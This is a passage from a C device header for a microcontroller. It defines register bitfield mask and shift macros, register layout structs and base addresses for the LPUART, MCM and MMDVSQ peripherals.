#define LPUART_CTRL_LOOPS(x) (((uint32_t)(((uint32_t)(x)) << LPUART_CTRL_LOOPS_SHIFT)) & LPUART_CTRL_LOOPS_MASK)
#define LPUART_CTRL_IDLECFG_MASK (0x700U)
#define LPUART_CTRL_IDLECFG_SHIFT (8U)
#define LPUART_CTRL_IDLECFG(x) (((uint32_t)(((uint32_t)(x)) << LPUART_CTRL_IDLECFG_SHIFT)) & LPUART_CTRL_IDLECFG_MASK)
#define LPUART_CTRL_MA2IE_MASK (0x4000U)
#define LPUART_CTRL_MA2IE_SHIFT (14U)
#define LPUART_CTRL_MA2IE(x) (((uint32_t)(((uint32_t)(x)) << LPUART_CTRL_MA2IE_SHIFT)) & LPUART_CTRL_MA2IE_MASK)
#define LPUART_CTRL_MA1IE_MASK (0x8000U)
#define LPUART_CTRL_MA1IE_SHIFT (15U)
#define LPUART_CTRL_MA1IE(x) (((uint32_t)(((uint32_t)(x)) << LPUART_CTRL_MA1IE_SHIFT)) & LPUART_CTRL_MA1IE_MASK)
#define LPUART_CTRL_SBK_MASK (0x10000U)
#define LPUART_CTRL_SBK_SHIFT (16U)
#define LPUART_CTRL_SBK(x) (((uint32_t)(((uint32_t)(x)) << LPUART_CTRL_SBK_SHIFT)) & LPUART_CTRL_SBK_MASK)
#define LPUART_CTRL_RWU_MASK (0x20000U)
#define LPUART_CTRL_RWU_SHIFT (17U)
#define LPUART_CTRL_RWU(x) (((uint32_t)(((uint32_t)(x)) << LPUART_CTRL_RWU_SHIFT)) & LPUART_CTRL_RWU_MASK)
#define LPUART_CTRL_RE_MASK (0x40000U)
#define LPUART_CTRL_RE_SHIFT (18U)
#define LPUART_CTRL_RE(x) (((uint32_t)(((uint32_t)(x)) << LPUART_CTRL_RE_SHIFT)) & LPUART_CTRL_RE_MASK)
#define LPUART_CTRL_TE_MASK (0x80000U)
#define LPUART_CTRL_TE_SHIFT (19U)
#define LPUART_CTRL_TE(x) (((uint32_t)(((uint32_t)(x)) << LPUART_CTRL_TE_SHIFT)) & LPUART_CTRL_TE_MASK)
#define LPUART_CTRL_ILIE_MASK (0x100000U)
#define LPUART_CTRL_ILIE_SHIFT (20U)
#define LPUART_CTRL_ILIE(x) (((uint32_t)(((uint32_t)(x)) << LPUART_CTRL_ILIE_SHIFT)) & LPUART_CTRL_ILIE_MASK)
#define LPUART_CTRL_RIE_MASK (0x200000U)
#define LPUART_CTRL_RIE_SHIFT (21U)
#define LPUART_CTRL_RIE(x) (((uint32_t)(((uint32_t)(x)) << LPUART_CTRL_RIE_SHIFT)) & LPUART_CTRL_RIE_MASK)
#define LPUART_CTRL_TCIE_MASK (0x400000U)
#define LPUART_CTRL_TCIE_SHIFT (22U)
#define LPUART_CTRL_TCIE(x) (((uint32_t)(((uint32_t)(x)) << LPUART_CTRL_TCIE_SHIFT)) & LPUART_CTRL_TCIE_MASK)
#define LPUART_CTRL_TIE_MASK (0x800000U)
#define LPUART_CTRL_TIE_SHIFT (23U)
#define LPUART_CTRL_TIE(x) (((uint32_t)(((uint32_t)(x)) << LPUART_CTRL_TIE_SHIFT)) & LPUART_CTRL_TIE_MASK)
#define LPUART_CTRL_PEIE_MASK (0x1000000U)
#define LPUART_CTRL_PEIE_SHIFT (24U)
#define LPUART_CTRL_PEIE(x) (((uint32_t)(((uint32_t)(x)) << LPUART_CTRL_PEIE_SHIFT)) & LPUART_CTRL_PEIE_MASK)
#define LPUART_CTRL_FEIE_MASK (0x2000000U)
#define LPUART_CTRL_FEIE_SHIFT (25U)
#define LPUART_CTRL_FEIE(x) (((uint32_t)(((uint32_t)(x)) << LPUART_CTRL_FEIE_SHIFT)) & LPUART_CTRL_FEIE_MASK)
#define LPUART_CTRL_NEIE_MASK (0x4000000U)
#define LPUART_CTRL_NEIE_SHIFT (26U)
#define LPUART_CTRL_NEIE(x) (((uint32_t)(((uint32_t)(x)) << LPUART_CTRL_NEIE_SHIFT)) & LPUART_CTRL_NEIE_MASK)
#define LPUART_CTRL_ORIE_MASK (0x8000000U)
#define LPUART_CTRL_ORIE_SHIFT (27U)
#define LPUART_CTRL_ORIE(x) (((uint32_t)(((uint32_t)(x)) << LPUART_CTRL_ORIE_SHIFT)) & LPUART_CTRL_ORIE_MASK)
#define LPUART_CTRL_TXINV_MASK (0x10000000U)
#define LPUART_CTRL_TXINV_SHIFT (28U)
#define LPUART_CTRL_TXINV(x) (((uint32_t)(((uint32_t)(x)) << LPUART_CTRL_TXINV_SHIFT)) & LPUART_CTRL_TXINV_MASK)
#define LPUART_CTRL_TXDIR_MASK (0x20000000U)
#define LPUART_CTRL_TXDIR_SHIFT (29U)
#define LPUART_CTRL_TXDIR(x) (((uint32_t)(((uint32_t)(x)) << LPUART_CTRL_TXDIR_SHIFT)) & LPUART_CTRL_TXDIR_MASK)
#define LPUART_CTRL_R9T8_MASK (0x40000000U)
#define LPUART_CTRL_R9T8_SHIFT (30U)
#define LPUART_CTRL_R9T8(x) (((uint32_t)(((uint32_t)(x)) << LPUART_CTRL_R9T8_SHIFT)) & LPUART_CTRL_R9T8_MASK)
#define LPUART_CTRL_R8T9_MASK (0x80000000U)
#define LPUART_CTRL_R8T9_SHIFT (31U)
#define LPUART_CTRL_R8T9(x) (((uint32_t)(((uint32_t)(x)) << LPUART_CTRL_R8T9_SHIFT)) & LPUART_CTRL_R8T9_MASK)
/*! @name DATA - LPUART Data Register */
#define LPUART_DATA_R0T0_MASK (0x1U)
#define LPUART_DATA_R0T0_SHIFT (0U)
#define LPUART_DATA_R0T0(x) (((uint32_t)(((uint32_t)(x)) << LPUART_DATA_R0T0_SHIFT)) & LPUART_DATA_R0T0_MASK)
#define LPUART_DATA_R1T1_MASK (0x2U)
#define LPUART_DATA_R1T1_SHIFT (1U)
#define LPUART_DATA_R1T1(x) (((uint32_t)(((uint32_t)(x)) << LPUART_DATA_R1T1_SHIFT)) & LPUART_DATA_R1T1_MASK)
#define LPUART_DATA_R2T2_MASK (0x4U)
#define LPUART_DATA_R2T2_SHIFT (2U)
#define LPUART_DATA_R2T2(x) (((uint32_t)(((uint32_t)(x)) << LPUART_DATA_R2T2_SHIFT)) & LPUART_DATA_R2T2_MASK)
#define LPUART_DATA_R3T3_MASK (0x8U)
#define LPUART_DATA_R3T3_SHIFT (3U)
#define LPUART_DATA_R3T3(x) (((uint32_t)(((uint32_t)(x)) << LPUART_DATA_R3T3_SHIFT)) & LPUART_DATA_R3T3_MASK)
#define LPUART_DATA_R4T4_MASK (0x10U)
#define LPUART_DATA_R4T4_SHIFT (4U)
#define LPUART_DATA_R4T4(x) (((uint32_t)(((uint32_t)(x)) << LPUART_DATA_R4T4_SHIFT)) & LPUART_DATA_R4T4_MASK)
#define LPUART_DATA_R5T5_MASK (0x20U)
#define LPUART_DATA_R5T5_SHIFT (5U)
#define LPUART_DATA_R5T5(x) (((uint32_t)(((uint32_t)(x)) << LPUART_DATA_R5T5_SHIFT)) & LPUART_DATA_R5T5_MASK)
#define LPUART_DATA_R6T6_MASK (0x40U)
#define LPUART_DATA_R6T6_SHIFT (6U)
#define LPUART_DATA_R6T6(x) (((uint32_t)(((uint32_t)(x)) << LPUART_DATA_R6T6_SHIFT)) & LPUART_DATA_R6T6_MASK)
#define LPUART_DATA_R7T7_MASK (0x80U)
#define LPUART_DATA_R7T7_SHIFT (7U)
#define LPUART_DATA_R7T7(x) (((uint32_t)(((uint32_t)(x)) << LPUART_DATA_R7T7_SHIFT)) & LPUART_DATA_R7T7_MASK)
#define LPUART_DATA_R8T8_MASK (0x100U)
#define LPUART_DATA_R8T8_SHIFT (8U)
#define LPUART_DATA_R8T8(x) (((uint32_t)(((uint32_t)(x)) << LPUART_DATA_R8T8_SHIFT)) & LPUART_DATA_R8T8_MASK)
#define LPUART_DATA_R9T9_MASK (0x200U)
#define LPUART_DATA_R9T9_SHIFT (9U)
#define LPUART_DATA_R9T9(x) (((uint32_t)(((uint32_t)(x)) << LPUART_DATA_R9T9_SHIFT)) & LPUART_DATA_R9T9_MASK)
#define LPUART_DATA_IDLINE_MASK (0x800U)
#define LPUART_DATA_IDLINE_SHIFT (11U)
#define LPUART_DATA_IDLINE(x) (((uint32_t)(((uint32_t)(x)) << LPUART_DATA_IDLINE_SHIFT)) & LPUART_DATA_IDLINE_MASK)
#define LPUART_DATA_RXEMPT_MASK (0x1000U)
#define LPUART_DATA_RXEMPT_SHIFT (12U)
#define LPUART_DATA_RXEMPT(x) (((uint32_t)(((uint32_t)(x)) << LPUART_DATA_RXEMPT_SHIFT)) & LPUART_DATA_RXEMPT_MASK)
#define LPUART_DATA_FRETSC_MASK (0x2000U)
#define LPUART_DATA_FRETSC_SHIFT (13U)
#define LPUART_DATA_FRETSC(x) (((uint32_t)(((uint32_t)(x)) << LPUART_DATA_FRETSC_SHIFT)) & LPUART_DATA_FRETSC_MASK)
#define LPUART_DATA_PARITYE_MASK (0x4000U)
#define LPUART_DATA_PARITYE_SHIFT (14U)
#define LPUART_DATA_PARITYE(x) (((uint32_t)(((uint32_t)(x)) << LPUART_DATA_PARITYE_SHIFT)) & LPUART_DATA_PARITYE_MASK)
#define LPUART_DATA_NOISY_MASK (0x8000U)
#define LPUART_DATA_NOISY_SHIFT (15U)
#define LPUART_DATA_NOISY(x) (((uint32_t)(((uint32_t)(x)) << LPUART_DATA_NOISY_SHIFT)) & LPUART_DATA_NOISY_MASK)
/*! @name MATCH - LPUART Match Address Register */
#define LPUART_MATCH_MA1_MASK (0x3FFU)
#define LPUART_MATCH_MA1_SHIFT (0U)
#define LPUART_MATCH_MA1(x) (((uint32_t)(((uint32_t)(x)) << LPUART_MATCH_MA1_SHIFT)) & LPUART_MATCH_MA1_MASK)
#define LPUART_MATCH_MA2_MASK (0x3FF0000U)
#define LPUART_MATCH_MA2_SHIFT (16U)
#define LPUART_MATCH_MA2(x) (((uint32_t)(((uint32_t)(x)) << LPUART_MATCH_MA2_SHIFT)) & LPUART_MATCH_MA2_MASK)
/*! @name MODIR - LPUART Modem IrDA Register */
#define LPUART_MODIR_TXCTSE_MASK (0x1U)
#define LPUART_MODIR_TXCTSE_SHIFT (0U)
#define LPUART_MODIR_TXCTSE(x) (((uint32_t)(((uint32_t)(x)) << LPUART_MODIR_TXCTSE_SHIFT)) & LPUART_MODIR_TXCTSE_MASK)
#define LPUART_MODIR_TXRTSE_MASK (0x2U)
#define LPUART_MODIR_TXRTSE_SHIFT (1U)
#define LPUART_MODIR_TXRTSE(x) (((uint32_t)(((uint32_t)(x)) << LPUART_MODIR_TXRTSE_SHIFT)) & LPUART_MODIR_TXRTSE_MASK)
#define LPUART_MODIR_TXRTSPOL_MASK (0x4U)
#define LPUART_MODIR_TXRTSPOL_SHIFT (2U)
#define LPUART_MODIR_TXRTSPOL(x) (((uint32_t)(((uint32_t)(x)) << LPUART_MODIR_TXRTSPOL_SHIFT)) & LPUART_MODIR_TXRTSPOL_MASK)
#define LPUART_MODIR_RXRTSE_MASK (0x8U)
#define LPUART_MODIR_RXRTSE_SHIFT (3U)
#define LPUART_MODIR_RXRTSE(x) (((uint32_t)(((uint32_t)(x)) << LPUART_MODIR_RXRTSE_SHIFT)) & LPUART_MODIR_RXRTSE_MASK)
#define LPUART_MODIR_TXCTSC_MASK (0x10U)
#define LPUART_MODIR_TXCTSC_SHIFT (4U)
#define LPUART_MODIR_TXCTSC(x) (((uint32_t)(((uint32_t)(x)) << LPUART_MODIR_TXCTSC_SHIFT)) & LPUART_MODIR_TXCTSC_MASK)
#define LPUART_MODIR_TXCTSSRC_MASK (0x20U)
#define LPUART_MODIR_TXCTSSRC_SHIFT (5U)
#define LPUART_MODIR_TXCTSSRC(x) (((uint32_t)(((uint32_t)(x)) << LPUART_MODIR_TXCTSSRC_SHIFT)) & LPUART_MODIR_TXCTSSRC_MASK)
#define LPUART_MODIR_RTSWATER_MASK (0xFF00U)
#define LPUART_MODIR_RTSWATER_SHIFT (8U)
#define LPUART_MODIR_RTSWATER(x) (((uint32_t)(((uint32_t)(x)) << LPUART_MODIR_RTSWATER_SHIFT)) & LPUART_MODIR_RTSWATER_MASK)
#define LPUART_MODIR_TNP_MASK (0x30000U)
#define LPUART_MODIR_TNP_SHIFT (16U)
#define LPUART_MODIR_TNP(x) (((uint32_t)(((uint32_t)(x)) << LPUART_MODIR_TNP_SHIFT)) & LPUART_MODIR_TNP_MASK)
#define LPUART_MODIR_IREN_MASK (0x40000U)
#define LPUART_MODIR_IREN_SHIFT (18U)
#define LPUART_MODIR_IREN(x) (((uint32_t)(((uint32_t)(x)) << LPUART_MODIR_IREN_SHIFT)) & LPUART_MODIR_IREN_MASK)
/*! @name FIFO - LPUART FIFO Register */
#define LPUART_FIFO_RXFIFOSIZE_MASK (0x7U)
#define LPUART_FIFO_RXFIFOSIZE_SHIFT (0U)
#define LPUART_FIFO_RXFIFOSIZE(x) (((uint32_t)(((uint32_t)(x)) << LPUART_FIFO_RXFIFOSIZE_SHIFT)) & LPUART_FIFO_RXFIFOSIZE_MASK)
#define LPUART_FIFO_RXFE_MASK (0x8U)
#define LPUART_FIFO_RXFE_SHIFT (3U)
#define LPUART_FIFO_RXFE(x) (((uint32_t)(((uint32_t)(x)) << LPUART_FIFO_RXFE_SHIFT)) & LPUART_FIFO_RXFE_MASK)
#define LPUART_FIFO_TXFIFOSIZE_MASK (0x70U)
#define LPUART_FIFO_TXFIFOSIZE_SHIFT (4U)
#define LPUART_FIFO_TXFIFOSIZE(x) (((uint32_t)(((uint32_t)(x)) << LPUART_FIFO_TXFIFOSIZE_SHIFT)) & LPUART_FIFO_TXFIFOSIZE_MASK)
#define LPUART_FIFO_TXFE_MASK (0x80U)
#define LPUART_FIFO_TXFE_SHIFT (7U)
#define LPUART_FIFO_TXFE(x) (((uint32_t)(((uint32_t)(x)) << LPUART_FIFO_TXFE_SHIFT)) & LPUART_FIFO_TXFE_MASK)
#define LPUART_FIFO_RXUFE_MASK (0x100U)
#define LPUART_FIFO_RXUFE_SHIFT (8U)
#define LPUART_FIFO_RXUFE(x) (((uint32_t)(((uint32_t)(x)) << LPUART_FIFO_RXUFE_SHIFT)) & LPUART_FIFO_RXUFE_MASK)
#define LPUART_FIFO_TXOFE_MASK (0x200U)
#define LPUART_FIFO_TXOFE_SHIFT (9U)
#define LPUART_FIFO_TXOFE(x) (((uint32_t)(((uint32_t)(x)) << LPUART_FIFO_TXOFE_SHIFT)) & LPUART_FIFO_TXOFE_MASK)
#define LPUART_FIFO_RXIDEN_MASK (0x1C00U)
#define LPUART_FIFO_RXIDEN_SHIFT (10U)
#define LPUART_FIFO_RXIDEN(x) (((uint32_t)(((uint32_t)(x)) << LPUART_FIFO_RXIDEN_SHIFT)) & LPUART_FIFO_RXIDEN_MASK)
#define LPUART_FIFO_RXFLUSH_MASK (0x4000U)
#define LPUART_FIFO_RXFLUSH_SHIFT (14U)
#define LPUART_FIFO_RXFLUSH(x) (((uint32_t)(((uint32_t)(x)) << LPUART_FIFO_RXFLUSH_SHIFT)) & LPUART_FIFO_RXFLUSH_MASK)
#define LPUART_FIFO_TXFLUSH_MASK (0x8000U)
#define LPUART_FIFO_TXFLUSH_SHIFT (15U)
#define LPUART_FIFO_TXFLUSH(x) (((uint32_t)(((uint32_t)(x)) << LPUART_FIFO_TXFLUSH_SHIFT)) & LPUART_FIFO_TXFLUSH_MASK)
#define LPUART_FIFO_RXUF_MASK (0x10000U)
#define LPUART_FIFO_RXUF_SHIFT (16U)
#define LPUART_FIFO_RXUF(x) (((uint32_t)(((uint32_t)(x)) << LPUART_FIFO_RXUF_SHIFT)) & LPUART_FIFO_RXUF_MASK)
#define LPUART_FIFO_TXOF_MASK (0x20000U)
#define LPUART_FIFO_TXOF_SHIFT (17U)
#define LPUART_FIFO_TXOF(x) (((uint32_t)(((uint32_t)(x)) << LPUART_FIFO_TXOF_SHIFT)) & LPUART_FIFO_TXOF_MASK)
#define LPUART_FIFO_RXEMPT_MASK (0x400000U)
#define LPUART_FIFO_RXEMPT_SHIFT (22U)
#define LPUART_FIFO_RXEMPT(x) (((uint32_t)(((uint32_t)(x)) << LPUART_FIFO_RXEMPT_SHIFT)) & LPUART_FIFO_RXEMPT_MASK)
#define LPUART_FIFO_TXEMPT_MASK (0x800000U)
#define LPUART_FIFO_TXEMPT_SHIFT (23U)
#define LPUART_FIFO_TXEMPT(x) (((uint32_t)(((uint32_t)(x)) << LPUART_FIFO_TXEMPT_SHIFT)) & LPUART_FIFO_TXEMPT_MASK)
/*! @name WATER - LPUART Watermark Register */
#define LPUART_WATER_TXWATER_MASK (0xFFU)
#define LPUART_WATER_TXWATER_SHIFT (0U)
#define LPUART_WATER_TXWATER(x) (((uint32_t)(((uint32_t)(x)) << LPUART_WATER_TXWATER_SHIFT)) & LPUART_WATER_TXWATER_MASK)
#define LPUART_WATER_TXCOUNT_MASK (0xFF00U)
#define LPUART_WATER_TXCOUNT_SHIFT (8U)
#define LPUART_WATER_TXCOUNT(x) (((uint32_t)(((uint32_t)(x)) << LPUART_WATER_TXCOUNT_SHIFT)) & LPUART_WATER_TXCOUNT_MASK)
#define LPUART_WATER_RXWATER_MASK (0xFF0000U)
#define LPUART_WATER_RXWATER_SHIFT (16U)
#define LPUART_WATER_RXWATER(x) (((uint32_t)(((uint32_t)(x)) << LPUART_WATER_RXWATER_SHIFT)) & LPUART_WATER_RXWATER_MASK)
#define LPUART_WATER_RXCOUNT_MASK (0xFF000000U)
#define LPUART_WATER_RXCOUNT_SHIFT (24U)
#define LPUART_WATER_RXCOUNT(x) (((uint32_t)(((uint32_t)(x)) << LPUART_WATER_RXCOUNT_SHIFT)) & LPUART_WATER_RXCOUNT_MASK)
/*!
* @}
*/ /* end of group LPUART_Register_Masks */
/* LPUART - Peripheral instance base addresses */
/** Peripheral LPUART0 base address */
#define LPUART0_BASE (0x400C4000u)
/** Peripheral LPUART0 base pointer */
#define LPUART0 ((LPUART_Type *)LPUART0_BASE)
/** Peripheral LPUART1 base address */
#define LPUART1_BASE (0x400C5000u)
/** Peripheral LPUART1 base pointer */
#define LPUART1 ((LPUART_Type *)LPUART1_BASE)
/** Peripheral LPUART2 base address */
#define LPUART2_BASE (0x40046000u)
/** Peripheral LPUART2 base pointer */
#define LPUART2 ((LPUART_Type *)LPUART2_BASE)
/** Array initializer of LPUART peripheral base addresses */
#define LPUART_BASE_ADDRS { LPUART0_BASE, LPUART1_BASE, LPUART2_BASE }
/** Array initializer of LPUART peripheral base pointers */
#define LPUART_BASE_PTRS { LPUART0, LPUART1, LPUART2 }
/** Interrupt vectors for the LPUART peripheral type */
#define LPUART_RX_TX_IRQS { LPUART0_IRQn, LPUART1_IRQn, LPUART2_IRQn }
#define LPUART_ERR_IRQS { LPUART0_IRQn, LPUART1_IRQn, LPUART2_IRQn }
/*!
* @}
*/ /* end of group LPUART_Peripheral_Access_Layer */
/* ----------------------------------------------------------------------------
-- MCM Peripheral Access Layer
---------------------------------------------------------------------------- */
/*!
* @addtogroup MCM_Peripheral_Access_Layer MCM Peripheral Access Layer
* @{
*/
/** MCM - Register Layout Typedef */
typedef struct {
uint8_t RESERVED_0[8];
__I uint16_t PLASC; /**< Crossbar Switch (AXBS) Slave Configuration, offset: 0x8 */
__I uint16_t PLAMC; /**< Crossbar Switch (AXBS) Master Configuration, offset: 0xA */
__IO uint32_t PLACR; /**< Platform Control Register, offset: 0xC */
uint8_t RESERVED_1[48];
__IO uint32_t CPO; /**< Compute Operation Control Register, offset: 0x40 */
} MCM_Type;
/* ----------------------------------------------------------------------------
-- MCM Register Masks
---------------------------------------------------------------------------- */
/*!
* @addtogroup MCM_Register_Masks MCM Register Masks
* @{
*/
/*! @name PLASC - Crossbar Switch (AXBS) Slave Configuration */
#define MCM_PLASC_ASC_MASK (0xFFU)
#define MCM_PLASC_ASC_SHIFT (0U)
#define MCM_PLASC_ASC(x) (((uint16_t)(((uint16_t)(x)) << MCM_PLASC_ASC_SHIFT)) & MCM_PLASC_ASC_MASK)
/*! @name PLAMC - Crossbar Switch (AXBS) Master Configuration */
#define MCM_PLAMC_AMC_MASK (0xFFU)
#define MCM_PLAMC_AMC_SHIFT (0U)
#define MCM_PLAMC_AMC(x) (((uint16_t)(((uint16_t)(x)) << MCM_PLAMC_AMC_SHIFT)) & MCM_PLAMC_AMC_MASK)
/*! @name PLACR - Platform Control Register */
#define MCM_PLACR_MMCAU_MASK (0x100U)
#define MCM_PLACR_MMCAU_SHIFT (8U)
#define MCM_PLACR_MMCAU(x) (((uint32_t)(((uint32_t)(x)) << MCM_PLACR_MMCAU_SHIFT)) & MCM_PLACR_MMCAU_MASK)
#define MCM_PLACR_ARB_MASK (0x200U)
#define MCM_PLACR_ARB_SHIFT (9U)
#define MCM_PLACR_ARB(x) (((uint32_t)(((uint32_t)(x)) << MCM_PLACR_ARB_SHIFT)) & MCM_PLACR_ARB_MASK)
#define MCM_PLACR_CFCC_MASK (0x400U)
#define MCM_PLACR_CFCC_SHIFT (10U)
#define MCM_PLACR_CFCC(x) (((uint32_t)(((uint32_t)(x)) << MCM_PLACR_CFCC_SHIFT)) & MCM_PLACR_CFCC_MASK)
#define MCM_PLACR_DFCDA_MASK (0x800U)
#define MCM_PLACR_DFCDA_SHIFT (11U)
#define MCM_PLACR_DFCDA(x) (((uint32_t)(((uint32_t)(x)) << MCM_PLACR_DFCDA_SHIFT)) & MCM_PLACR_DFCDA_MASK)
#define MCM_PLACR_DFCIC_MASK (0x1000U)
#define MCM_PLACR_DFCIC_SHIFT (12U)
#define MCM_PLACR_DFCIC(x) (((uint32_t)(((uint32_t)(x)) << MCM_PLACR_DFCIC_SHIFT)) & MCM_PLACR_DFCIC_MASK)
#define MCM_PLACR_DFCC_MASK (0x2000U)
#define MCM_PLACR_DFCC_SHIFT (13U)
#define MCM_PLACR_DFCC(x) (((uint32_t)(((uint32_t)(x)) << MCM_PLACR_DFCC_SHIFT)) & MCM_PLACR_DFCC_MASK)
#define MCM_PLACR_EFDS_MASK (0x4000U)
#define MCM_PLACR_EFDS_SHIFT (14U)
#define MCM_PLACR_EFDS(x) (((uint32_t)(((uint32_t)(x)) << MCM_PLACR_EFDS_SHIFT)) & MCM_PLACR_EFDS_MASK)
#define MCM_PLACR_DFCS_MASK (0x8000U)
#define MCM_PLACR_DFCS_SHIFT (15U)
#define MCM_PLACR_DFCS(x) (((uint32_t)(((uint32_t)(x)) << MCM_PLACR_DFCS_SHIFT)) & MCM_PLACR_DFCS_MASK)
#define MCM_PLACR_ESFC_MASK (0x10000U)
#define MCM_PLACR_ESFC_SHIFT (16U)
#define MCM_PLACR_ESFC(x) (((uint32_t)(((uint32_t)(x)) << MCM_PLACR_ESFC_SHIFT)) & MCM_PLACR_ESFC_MASK)
/*! @name CPO - Compute Operation Control Register */
#define MCM_CPO_CPOREQ_MASK (0x1U)
#define MCM_CPO_CPOREQ_SHIFT (0U)
#define MCM_CPO_CPOREQ(x) (((uint32_t)(((uint32_t)(x)) << MCM_CPO_CPOREQ_SHIFT)) & MCM_CPO_CPOREQ_MASK)
#define MCM_CPO_CPOACK_MASK (0x2U)
#define MCM_CPO_CPOACK_SHIFT (1U)
#define MCM_CPO_CPOACK(x) (((uint32_t)(((uint32_t)(x)) << MCM_CPO_CPOACK_SHIFT)) & MCM_CPO_CPOACK_MASK)
#define MCM_CPO_CPOWOI_MASK (0x4U)
#define MCM_CPO_CPOWOI_SHIFT (2U)
#define MCM_CPO_CPOWOI(x) (((uint32_t)(((uint32_t)(x)) << MCM_CPO_CPOWOI_SHIFT)) & MCM_CPO_CPOWOI_MASK)
/*!
* @}
*/ /* end of group MCM_Register_Masks */
/* MCM - Peripheral instance base addresses */
/** Peripheral MCM0 base address */
#define MCM0_BASE (0xF0003000u)
/** Peripheral MCM0 base pointer */
#define MCM0 ((MCM_Type *)MCM0_BASE)
/** Peripheral MCM1 base address */
#define MCM1_BASE (0xF1003000u)
/** Peripheral MCM1 base pointer */
#define MCM1 ((MCM_Type *)MCM1_BASE)
/** Array initializer of MCM peripheral base addresses */
#define MCM_BASE_ADDRS { MCM0_BASE, MCM1_BASE }
/** Array initializer of MCM peripheral base pointers */
#define MCM_BASE_PTRS { MCM0, MCM1 }
/*!
* @}
*/ /* end of group MCM_Peripheral_Access_Layer */
/* ----------------------------------------------------------------------------
-- MMDVSQ Peripheral Access Layer
---------------------------------------------------------------------------- */
/*!
* @addtogroup MMDVSQ_Peripheral_Access_Layer MMDVSQ Peripheral Access Layer
* @{
*/
/** MMDVSQ - Register Layout Typedef */
typedef struct {
__IO uint32_t DEND; /**< Dividend Register, offset: 0x0 */
__IO uint32_t DSOR; /**< Divisor Register, offset: 0x4 */
__IO uint32_t CSR; /**< Control/Status Register, offset: 0x8 */
__IO uint32_t RES; /**< Result Register, offset: 0xC */
__IO uint32_t RCND; /**< Radicand Register, offset: 0x10 */
} MMDVSQ_Type;
/* ----------------------------------------------------------------------------
-- MMDVSQ Register Masks
---------------------------------------------------------------------------- */
/*!
* @addtogroup MMDVSQ_Register_Masks MMDVSQ Register Masks
* @{
*/
/*! @name DEND - Dividend Register */
#define MMDVSQ_DEND_DIVIDEND_MASK (0xFFFFFFFFU)
#define MMDVSQ_DEND_DIVIDEND_SHIFT (0U)
#define MMDVSQ_DEND_DIVIDEND(x) (((uint32_t)(((uint32_t)(x)) << MMDVSQ_DEND_DIVIDEND_SHIFT)) & MMDVSQ_DEND_DIVIDEND_MASK)
/*! @name DSOR - Divisor Register */
#define MMDVSQ_DSOR_DIVISOR_MASK (0xFFFFFFFFU)
#define MMDVSQ_DSOR_DIVISOR_SHIFT (0U)
#define MMDVSQ_DSOR_DIVISOR(x) (((uint32_t)(((uint32_t)(x)) << MMDVSQ_DSOR_DIVISOR_SHIFT)) & MMDVSQ_DSOR_DIVISOR_MASK)
/*! @name CSR - Control/Status Register */
#define MMDVSQ_CSR_SRT_MASK (0x1U)
#define MMDVSQ_CSR_SRT_SHIFT (0U)
#define MMDVSQ_CSR_SRT(x) (((uint32_t)(((uint32_t)(x)) << MMDVSQ_CSR_SRT_SHIFT)) & MMDVSQ_CSR_SRT_MASK)
#define MMDVSQ_CSR_USGN_MASK (0x2U)
#define MMDVSQ_CSR_USGN_SHIFT (1U)
#define MMDVSQ_CSR_USGN(x) (((uint32_t)(((uint32_t)(x)) << MMDVSQ_CSR_USGN_SHIFT)) & MMDVSQ_CSR_USGN_MASK)
#define MMDVSQ_CSR_REM_MASK (0x4U)
#define MMDVSQ_CSR_REM_SHIFT (2U)
#define MMDVSQ_CSR_REM(x) (((uint32_t)(((uint32_t)(x)) << MMDVSQ_CSR_REM_SHIFT)) & MMDVSQ_CSR_REM_MASK)
#define MMDVSQ_CSR_DZE_MASK (0x8U)
#define MMDVSQ_CSR_DZE_SHIFT (3U)
#define MMDVSQ_CSR_DZE(x) (((uint32_t)(((uint32_t)(x)) << MMDVSQ_CSR_DZE_SHIFT)) & MMDVSQ_CSR_DZE_MASK)
#define MMDVSQ_CSR_DZ_MASK (0x10U)
#define MMDVSQ_CSR_DZ_SHIFT (4U)
#define MMDVSQ_CSR_DZ(x) (((uint32_t)(((uint32_t)(x)) << MMDVSQ_CSR_DZ_SHIFT)) & MMDVSQ_CSR_DZ_MASK)
#define MMDVSQ_CSR_DFS_MASK (0x20U)
#define MMDVSQ_CSR_DFS_SHIFT (5U)
#define MMDVSQ_CSR_DFS(x) (((uint32_t)(((uint32_t)(x)) << MMDVSQ_CSR_DFS_SHIFT)) & MMDVSQ_CSR_DFS_MASK)
#define MMDVSQ_CSR_SQRT_MASK (0x20000000U)
#define MMDVSQ_CSR_SQRT_SHIFT (29U)
#define MMDVSQ_CSR_SQRT(x) (((uint32_t)(((uint32_t)(x)) << MMDVSQ_CSR_SQRT_SHIFT)) & MMDVSQ_CSR_SQRT_MASK)
#define MMDVSQ_CSR_DIV_MASK (0x40000000U)
#define MMDVSQ_CSR_DIV_SHIFT (30U)
#define MMDVSQ_CSR_DIV(x) (((uint32_t)(((uint32_t)(x)) << MMDVSQ_CSR_DIV_SHIFT)) & MMDVSQ_CSR_DIV_MASK)
#define MMDVSQ_CSR_BUSY_MASK (0x80000000U)
#define MMDVSQ_CSR_BUSY_SHIFT (31U)
#define MMDVSQ_CSR_BUSY(x) (((uint32_t)(((uint32_t)(x)) << MMDVSQ_CSR_BUSY_SHIFT)) & MMDVSQ_CSR_BUSY_MASK)
/*! @name RES - Result Register */
#define MMDVSQ_RES_RESULT_MASK (0xFFFFFFFFU)
#define MMDVSQ_RES_RESULT_SHIFT (0U)
#define MMDVSQ_RES_RESULT(x) (((uint32_t)(((uint32_t)(x)) << MMDVSQ_RES_RESULT_SHIFT)) & MMDVSQ_RES_RESULT_MASK)
/*! @name RCND - Radicand Register */
#define MMDVSQ_RCND_RADICAND_MASK (0xFFFFFFFFU)
#define MMDVSQ_RCND_RADICAND_SHIFT (0U)
#define MMDVSQ_RCND_RADICAND(x) (((uint32_t)(((uint32_t)(x)) << MMDVSQ_RCND_RADICAND_SHIFT)) & MMDVSQ_RCND_RADICAND_MASK)
/*!
* @}
*/ /* end of group MMDVSQ_Register_Masks */
/* MMDVSQ - Peripheral instance base addresses */
/** Peripheral MMDVSQ0 base address */
#define MMDVSQ0_BASE (0xF0004000u)
/** Peripheral MMDVSQ0 base pointer */
#define MMDVSQ0 ((MMDVSQ_Type *)MMDVSQ0_BASE)
/** Peripheral MMDVSQ1 base address */
#define MMDVSQ1_BASE (0xF1004000u)
/** Peripheral MMDVSQ1 base pointer */
#define MMDVSQ1 ((MMDVSQ_Type *)MMDVSQ1_BASE)
/** Array initializer of MMDVSQ peripheral base addresses */
#define MMDVSQ_BASE_ADDRS { MMDVSQ0_BASE, MMDVSQ1_BASE }
